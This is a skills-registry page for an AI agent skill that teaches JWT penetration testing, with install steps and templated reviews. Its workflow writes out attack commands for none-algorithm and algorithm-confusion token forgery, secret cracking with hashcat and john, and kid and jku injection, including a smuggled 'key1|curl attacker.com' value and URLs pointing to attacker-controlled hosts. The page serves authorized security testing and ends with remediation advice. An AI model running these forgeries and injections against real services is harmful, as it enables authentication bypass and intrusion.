testing-for-json-web-token-vulnerabilities

mukul975/Anthropic-Cybersecurity-Skills · updated May 25, 2026

MDX-style export adds YAML metadata + attribution linking explainx.ai and this canonical listing URL.

$npx skills install mukul975/Anthropic-Cybersecurity-Skills/testing-for-json-web-token-vulnerabilities
0 commentsdiscussion
summary

Test JWT implementations for critical vulnerabilities including algorithm confusion, none algorithm bypass, kid parameter injection, and weak secret exploitation to achieve authentication bypass and privilege escalation.

skill.md
name
testing-for-json-web-token-vulnerabilities
description
Test JWT implementations for critical vulnerabilities including algorithm confusion, none algorithm bypass, kid parameter injection, and weak secret exploitation to achieve authentication bypass and privilege escalation.
domain
cybersecurity
subdomain
web-application-security
tags
- jwt - json-web-token - algorithm-confusion - authentication-bypass - token-forgery - kid-injection - jku-attack
version
'1.0'
author
mahipal
license
Apache-2.0
nist_csf
- PR.PS-01 - ID.RA-01 - PR.DS-10 - DE.CM-01

Testing for JSON Web Token Vulnerabilities

When to Use

  • When testing applications using JWT for authentication and session management
  • During API security assessments where JWTs are used for authorization
  • When evaluating OAuth 2.0 or OpenID Connect implementations using JWT
  • During penetration testing of single sign-on (SSO) systems
  • When auditing JWT library configurations for known vulnerabilities

Prerequisites

  • jwt_tool (Python JWT exploitation toolkit)
  • Burp Suite with JWT Editor extension
  • jwt.io for decoding and inspecting JWT structure
  • Understanding of JWT structure (header.payload.signature) and algorithms (HS256, RS256)
  • hashcat or john for brute-forcing weak JWT secrets
  • Python PyJWT library for custom JWT forging scripts
  • Access to application using JWT-based authentication

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1 — Decode and Analyze JWT Structure

# Install jwt_tool
pip install pyjwt
git clone https://github.com/ticarpi/jwt_tool.git

# Decode JWT without verification
python3 jwt_tool.py <JWT_TOKEN>

# Decode manually with base64
echo "<header_base64>" | base64 -d
echo "<payload_base64>" | base64 -d

# Examine JWT in jwt.io
# Check: algorithm (alg), key ID (kid), issuer (iss), audience (aud)
# Check: expiration (exp), not-before (nbf), claims (role, admin, etc.)

# Example JWT header inspection
# {"alg":"RS256","typ":"JWT","kid":"key-1"}
# Look for: alg, kid, jku, jwk, x5u, x5c headers

Step 2 — Test "None" Algorithm Bypass

# Change algorithm to "none" and remove signature
python3 jwt_tool.py <JWT_TOKEN> -X a

# Manual none algorithm attack:
# Original header: {"alg":"HS256","typ":"JWT"}
# Modified header: {"alg":"none","typ":"JWT"}
# Encode new header, keep payload, remove signature (empty string after last dot)

# Variations to try:
# "alg": "none"
# "alg": "None"
# "alg": "NONE"
# "alg": "nOnE"

# Send forged token
curl -H "Authorization: Bearer <FORGED_TOKEN>" http://target.com/api/admin

# jwt_tool automated none attack
python3 jwt_tool.py <JWT_TOKEN> -X a -I -pc role -pv admin

Step 3 — Test Algorithm Confusion (RS256 to HS256)

# If server uses RS256, attempt to switch to HS256 using public key as HMAC secret

# Step 1: Obtain the public key
# From JWKS endpoint
curl http://target.com/.well-known/jwks.json

# From SSL certificate
openssl s_client -connect target.com:443 </dev/null 2>/dev/null | \
  openssl x509 -pubkey -noout > public_key.pem

# Step 2: Forge token using public key as HMAC secret
python3 jwt_tool.py <JWT_TOKEN> -X k -pk public_key.pem

# Manual algorithm confusion:
# Change header from {"alg":"RS256"} to {"alg":"HS256"}
# Sign with public key using HMAC-SHA256
python3 -c "
import jwt
with open('public_key.pem', 'r') as f:
    public_key = f.read()
payload = {'sub': 'admin', 'role': 'admin', 'iat': 1700000000, 'exp': 1900000000}
token = jwt.encode(payload, public_key, algorithm='HS256')
print(token)
"

Step 4 — Test Key ID (kid) Parameter Injection

# SQL Injection via kid
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "' UNION SELECT 'secret-key' FROM dual--" \
  -S hs256 -p "secret-key"

# Path Traversal via kid
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "../../dev/null" \
  -S hs256 -p ""

# Kid pointing to empty file (sign with empty string)
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "/dev/null" -S hs256 -p ""

# SSRF via kid (if kid fetches remote key)
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "http://attacker.com/key"

# Command injection via kid (rare but possible)
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "key1|curl attacker.com"

Step 5 — Test JKU/X5U Header Injection

# JKU (JSON Web Key Set URL) injection
# Point jku to attacker-controlled JWKS
# Step 1: Generate key pair
python3 jwt_tool.py <JWT_TOKEN> -X s

# Step 2: Host JWKS on attacker server
# jwt_tool generates jwks.json - host it at http://attacker.com/.well-known/jwks.json

# Step 3: Modify JWT header to point to attacker JWKS
python3 jwt_tool.py <JWT_TOKEN> -X s -ju "http://attacker.com/.well-known/jwks.json"

# X5U (X.509 certificate URL) injection
# Similar to JKU but using X.509 certificate chain
python3 jwt_tool.py <JWT_TOKEN> -I -hc x5u -hv "http://attacker.com/cert.pem"

# Embedded JWK attack (inject key in JWT header itself)
python3 jwt_tool.py <JWT_TOKEN> -X i

Step 6 — Brute-Force Weak JWT Secrets

# Brute-force HMAC secret with hashcat
hashcat -a 0 -m 16500 <JWT_TOKEN> /usr/share/wordlists/rockyou.txt

# Using jwt_tool wordlist attack
python3 jwt_tool.py <JWT_TOKEN> -C -d /usr/share/wordlists/rockyou.txt

# Using john the ripper
echo "<JWT_TOKEN>" > jwt.txt
john jwt.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256

# Common weak secrets to try:
# secret, password, 123456, admin, test, key, jwt_secret
# Also try: application name, company name, domain name

# Once secret is found, forge arbitrary tokens
python3 jwt_tool.py <JWT_TOKEN> -S hs256 -p "discovered_secret" \
  -I -pc role -pv admin -pc sub -pv "[email protected]"

Key Concepts

ConceptDescription
Algorithm ConfusionSwitching from asymmetric (RS256) to symmetric (HS256) using public key as secret
None AlgorithmSetting alg to "none" to create unsigned tokens accepted by misconfigured servers
Kid InjectionExploiting the Key ID header parameter for SQLi, path traversal, or SSRF
JKU/X5U InjectionPointing key source URLs to attacker-controlled servers for key substitution
Weak SecretHMAC secrets that can be brute-forced using dictionary attacks
Claim TamperingModifying payload claims (role, sub, admin) after bypassing signature verification
Token ReplayReusing valid JWTs after the intended session should have expired

Tools & Systems

ToolPurpose
jwt_toolComprehensive JWT testing and exploitation toolkit
JWT Editor (Burp)Burp Suite extension for JWT manipulation and attack automation
hashcatGPU-accelerated JWT secret brute-forcing (mode 16500)
john the ripperCPU-based JWT secret cracking
jwt.ioOnline JWT decoder and debugger for inspection
PyJWTPython library for programmatic JWT creation and verification

Common Scenarios

  1. None Algorithm Bypass — Change JWT algorithm to "none", remove signature, and forge admin tokens on servers that accept unsigned JWTs
  2. Algorithm Confusion RCE — Switch RS256 to HS256 using leaked public key to forge arbitrary tokens for administrative access
  3. Kid SQL Injection — Inject SQL payload in kid parameter to extract the signing key from the database
  4. Weak Secret Cracking — Brute-force HMAC-SHA256 secrets using hashcat to forge arbitrary JWTs for any user
  5. JKU Server Spoofing — Point JKU header to attacker-controlled JWKS endpoint to sign tokens with attacker's private key

Output Format

## JWT Security Assessment Report
- **Target**: http://target.com
- **JWT Algorithm**: RS256 (claimed)
- **JWKS Endpoint**: http://target.com/.well-known/jwks.json

### Findings
| # | Vulnerability | Technique | Impact | Severity |
|---|--------------|-----------|--------|----------|
| 1 | None algorithm accepted | alg: "none" | Auth bypass | Critical |
| 2 | Algorithm confusion | RS256 -> HS256 | Token forgery | Critical |
| 3 | Weak HMAC secret | Brute-force: "secret123" | Full token forgery | Critical |
| 4 | Kid path traversal | kid: "../../dev/null" | Sign with empty key | High |

### Remediation
- Enforce algorithm whitelist in JWT verification (reject "none")
- Use asymmetric algorithms (RS256/ES256) with proper key management
- Implement strong, random secrets for HMAC algorithms (256+ bits)
- Validate kid parameter against a strict allowlist
- Ignore jku/x5u headers or validate against known endpoints
- Set appropriate token expiration (exp) and implement token revocation
how to use testing-for-json-web-token-vulnerabilities

How to use testing-for-json-web-token-vulnerabilities on Cursor

AI-first code editor with Composer

1

Prerequisites

Before installing skills in Cursor, ensure your development environment meets these requirements:

  • Cursor installed and configured on your development machine
  • Node.js version 16.0+ with npm package manager (verify with node --version)
  • Active project directory or workspace where you want to add testing-for-json-web-token-vulnerabilities
2

Execute installation command

Execute the skills CLI command in your project's root directory to begin installation:

$npx skills install mukul975/Anthropic-Cybersecurity-Skills/testing-for-json-web-token-vulnerabilities

The skills CLI fetches testing-for-json-web-token-vulnerabilities from GitHub repository mukul975/Anthropic-Cybersecurity-Skills and configures it for Cursor.

3

Select Cursor when prompted

The CLI will show a list of available agents. Use arrow keys to navigate and space to select Cursor:

◆ Which agents do you want to install to?
│ ── Universal (.agents/skills) ── always included ────
│ • Amp
│ • Antigravity
│ • Cline
│ • Codex
│ ●Cursor(selected)
│ • Cursor
│ • Windsurf
4

Verify installation

Confirm successful installation by checking the skill directory location:

.cursor/skills/testing-for-json-web-token-vulnerabilities

Reload or restart Cursor to activate testing-for-json-web-token-vulnerabilities. Access the skill through slash commands (e.g., /testing-for-json-web-token-vulnerabilities) or your agent's skill management interface.

Security & Verification Notice

We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.

Skills execute code in your development environment. Always verify the publisher's identity, review recent commits, and test in isolated environments before production deployment.

List & Monetize Your Skill

Submit your Claude Code skill and start earning

GET_STARTED →

Use Cases

Task Automation & Efficiency

Automate repetitive workflows and reduce manual effort

Example

Generate reports, summarize documents, draft communications

Save 3-5 hours per week on routine tasks

Knowledge Enhancement

Learn new skills, understand complex topics, get expert guidance

Example

Explain concepts, provide examples, suggest learning resources

Accelerate learning and skill development by 2x

Quality Improvement

Enhance output quality through reviews, suggestions, and refinements

Example

Review drafts, suggest improvements, catch errors

Improve work quality by 30-40% with less effort

Implementation Guide

Prerequisites

  • Claude Desktop or compatible AI client with skill support
  • Clear understanding of task or problem to solve
  • Willingness to iterate and refine outputs

Time Estimate

15-45 minutes depending on use case complexity

Installation Steps

  1. 1.Install skill using provided installation command
  2. 2.Test with simple use case relevant to your work
  3. 3.Evaluate output quality and relevance
  4. 4.Iterate on prompts to improve results
  5. 5.Integrate into regular workflow if valuable

Common Pitfalls

  • Expecting perfect results without iteration
  • Not providing enough context in prompts
  • Using skill for tasks outside its intended scope
  • Accepting outputs without review and validation

Best Practices

✓ Do

  • +Start with clear, specific prompts
  • +Provide relevant context and constraints
  • +Review and refine all outputs before using
  • +Iterate to improve output quality
  • +Document successful prompt patterns

✗ Don't

  • Don't use without understanding skill limitations
  • Don't skip validation of outputs
  • Don't share sensitive information in prompts
  • Don't expect skill to replace human judgment

💡 Pro Tips

  • Be specific about desired format and style
  • Ask for multiple options to choose from
  • Request explanations to understand reasoning
  • Combine AI efficiency with human expertise

When to Use This

✓ Use When

Use when skill capabilities match your task, clear ROI on time saved, and you can validate outputs. Best for repetitive tasks, learning, and quality improvement.

✗ Avoid When

Avoid when task requires deep expertise you can't validate, involves sensitive decisions, or when learning process is more valuable than speed of completion.

Learning Path

  1. 1Familiarize yourself with skill capabilities and limitations
  2. 2Start with low-risk, non-critical tasks
  3. 3Progress to more complex and valuable use cases
  4. 4Build expertise through regular use and experimentation

Discussion

Product Hunt–style comments (not star reviews)
  • No comments yet — start the thread.
general reviews

Ratings

4.665 reviews
  • Sophia Srinivasan· Dec 24, 2024

    Solid pick for teams standardizing on skills: testing-for-json-web-token-vulnerabilities is focused, and the summary matches what you get after install.

  • Layla Desai· Dec 16, 2024

    testing-for-json-web-token-vulnerabilities is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.

  • Hassan Rao· Dec 16, 2024

    We added testing-for-json-web-token-vulnerabilities from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.

  • Naina Chawla· Dec 12, 2024

    Useful defaults in testing-for-json-web-token-vulnerabilities — fewer surprises than typical one-off scripts, and it plays nicely with `npx skills` flows.

  • Naina Bhatia· Dec 8, 2024

    Keeps context tight: testing-for-json-web-token-vulnerabilities is the kind of skill you can hand to a new teammate without a long onboarding doc.

  • Zaid Thomas· Nov 27, 2024

    I recommend testing-for-json-web-token-vulnerabilities for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.

  • Lucas Haddad· Nov 7, 2024

    Useful defaults in testing-for-json-web-token-vulnerabilities — fewer surprises than typical one-off scripts, and it plays nicely with `npx skills` flows.

  • Layla Dixit· Nov 7, 2024

    testing-for-json-web-token-vulnerabilities reduced setup friction for our internal harness; good balance of opinion and flexibility.

  • Noor Ghosh· Nov 3, 2024

    testing-for-json-web-token-vulnerabilities has been reliable in day-to-day use. Documentation quality is above average for community skills.

  • Yusuf Shah· Oct 26, 2024

    I recommend testing-for-json-web-token-vulnerabilities for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.

showing 1-10 of 65

1 / 7